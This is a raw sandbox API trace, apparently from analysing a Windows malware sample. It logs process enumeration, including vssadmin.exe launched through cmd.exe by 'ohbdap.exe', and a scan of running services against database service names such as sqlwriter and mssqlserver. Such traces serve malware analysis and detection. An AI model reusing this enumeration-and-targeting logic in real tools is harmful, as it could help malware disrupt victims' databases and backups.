lstrlenW (lpString="demand-site.exe") returned 15 [0058.792] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0058.793] lstrlenW (lpString="attachment.exe") returned 14 [0058.793] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0058.793] lstrlenW (lpString="valid-permit.exe") returned 16 [0058.793] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0058.794] lstrlenW (lpString="knights.exe") returned 11 [0058.794] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.795] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0058.795] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0058.795] lstrlenW (lpString="ohbdap.exe") returned 10 [0058.795] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0058.796] lstrlenW (lpString="cmd.exe") returned 7 [0058.796] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.797] lstrlenW (lpString="conhost.exe") returned 11 [0058.797] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0058.798] lstrlenW (lpString="vssadmin.exe") returned 12 [0058.798] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0058.798] lstrlenW (lpString="VSSVC.exe") returned 9 [0058.798] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.799] lstrlenW (lpString="svchost.exe") returned 11 [0058.799] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0058.800] CloseHandle (hObject=0x214) returned 1 [0058.800] Sleep (dwMilliseconds=0x1f4) [0059.646] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fa30 [0059.646] EnumServicesStatusExW (in: hSCManager=0x52fa30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0059.647] GetLastError () returned 0xea [0059.647] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x5a5d28 [0059.647] EnumServicesStatusExW (in: hSCManager=0x52fa30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a5d28, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a5d28, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0059.647] CloseServiceHandle (hSCObject=0x52fa30) returned 1 [0059.648] lstrlenW (lpString="Appinfo") returned 7 [0059.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0059.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0059.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0059.648] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0059.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0059.648] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0059.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.648] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0059.648] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0059.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0059.648] lstrlenW (lpString="AudioSrv") returned 8 [0059.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0059.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0059.648] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0059.648] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0059.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0059.648] lstrlenW (lpString="BFE") returned 3 [0059.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0059.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0059.648] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0059.648] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0059.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0059.648] lstrlenW (lpString="CryptSvc") returned 8 [0059.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0059.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0059.648] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0059.648] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0059.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0059.649] lstrlenW (lpString="CscService") returned 10 [0059.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0059.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0059.649] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0059.649] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0059.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0059.649] lstrlenW (lpString="DcomLaunch") returned 10 [0059.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.649] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0059.649] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0059.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0059.649] lstrlenW (lpString="Dhcp") returned 4 [0059.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0059.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0059.649] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0059.649] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0059.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0059.649] lstrlenW (lpString="Dnscache") returned 8 [0059.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0059.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0059.649] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0059.649] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0059.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0059.649] lstrlenW (lpString="DPS") returned 3 [0059.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0059.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0059.649] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0059.649] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0059.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0059.649] lstrlenW (lpString="eventlog") returned 8 [0059.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0059.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0059.650] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0059.650] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0059.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0059.650] lstrlenW (lpString="EventSystem") returned 11 [0059.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0059.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0059.650] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0059.650] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0059.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0059.650] lstrlenW (lpString="gpsvc") returned 5 [0059.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0059.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0059.650] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0059.650] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0059.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0059.650] lstrlenW (lpString="iphlpsvc") returned 8 [0059.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.650] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0059.650] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0059.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0059.650] lstrlenW (lpString="LanmanServer") returned 12 [0059.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0059.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0059.650] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0059.650] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0059.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0059.650] lstrlenW (lpString="LanmanWorkstation") returned 17 [0059.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.650] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0059.651] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0059.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0059.651] lstrlenW (lpString="lmhosts") returned 7 [0059.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0059.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0059.651] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0059.651] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0059.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0059.651] lstrlenW (lpString="MMCSS") returned 5 [0059.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0059.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0059.651] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0059.651] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0059.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0059.651] lstrlenW (lpString="MpsSvc") returned 6 [0059.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0059.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0059.651] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0059.651] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0059.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0059.651] lstrlenW (lpString="Netman") returned 6 [0059.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0059.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0059.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0059.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0059.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0059.651] lstrlenW (lpString="netprofm") returned 8 [0059.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0059.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0059.651] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0059.651] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0059.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0059.652] lstrlenW (lpString="NlaSvc") returned 6 [0059.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0059.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0059.652] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0059.652] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0059.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0059.652] lstrlenW (lpString="nsi") returned 3 [0059.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0059.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0059.652] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0059.652] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0059.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0059.652] lstrlenW (lpString="PcaSvc") returned 6 [0059.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0059.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0059.652] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0059.652] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0059.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0059.652] lstrlenW (lpString="PlugPlay") returned 8 [0059.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0059.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0059.652] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0059.652] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0059.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0059.652] lstrlenW (lpString="Power") returned 5 [0059.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0059.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0059.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0059.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0059.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0059.653] lstrlenW (lpString="ProfSvc") returned 7 [0059.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0059.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0059.653] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0059.653] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0059.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0059.653] lstrlenW (lpString="RpcEptMapper") returned 12 [0059.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.653] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0059.653] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0059.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0059.653] lstrlenW (lpString="RpcSs") returned 5 [0059.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0059.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0059.653] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0059.653] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0059.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0059.653] lstrlenW (lpString="SamSs") returned 5 [0059.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0059.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0059.653] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0059.653] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0059.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0059.653] lstrlenW (lpString="Schedule") returned 8 [0059.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0059.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0059.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0059.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0059.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0059.653] lstrlenW (lpString="SENS") returned 4 [0059.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0059.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0059.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0059.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0059.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0059.654] lstrlenW (lpString="ShellHWDetection") returned 16 [0059.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.654] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0059.654] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0059.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0059.654] lstrlenW (lpString="Spooler") returned 7 [0059.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0059.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0059.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0059.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0059.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0059.654] lstrlenW (lpString="swprv") returned 5 [0059.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0059.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0059.654] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0059.654] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0059.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0059.654] lstrlenW (lpString="SysMain") returned 7 [0059.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0059.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0059.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0059.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0059.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0059.655] lstrlenW (lpString="Themes") returned 6 [0059.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0059.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0059.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0059.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0059.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0059.655] lstrlenW (lpString="TrkWks") returned 6 [0059.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0059.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0059.655] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0059.655] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0059.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0059.655] lstrlenW (lpString="UxSms") returned 5 [0059.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0059.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0059.655] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0059.655] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0059.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0059.655] lstrlenW (lpString="VSS") returned 3 [0059.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0059.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0059.655] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0059.655] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0059.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0059.655] lstrlenW (lpString="WdiServiceHost") returned 14 [0059.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.655] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0059.655] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0059.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0059.655] lstrlenW (lpString="WdiSystemHost") returned 13 [0059.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.656] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0059.656] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0059.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0059.656] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0059.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.656] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0059.656] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0059.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0059.656] lstrlenW (lpString="Winmgmt") returned 7 [0059.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0059.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0059.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0059.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0059.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0059.656] lstrlenW (lpString="WPDBusEnum") returned 10 [0059.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.656] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0059.656] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0059.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0059.656] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a5d28 | out: hHeap=0x4b0000) 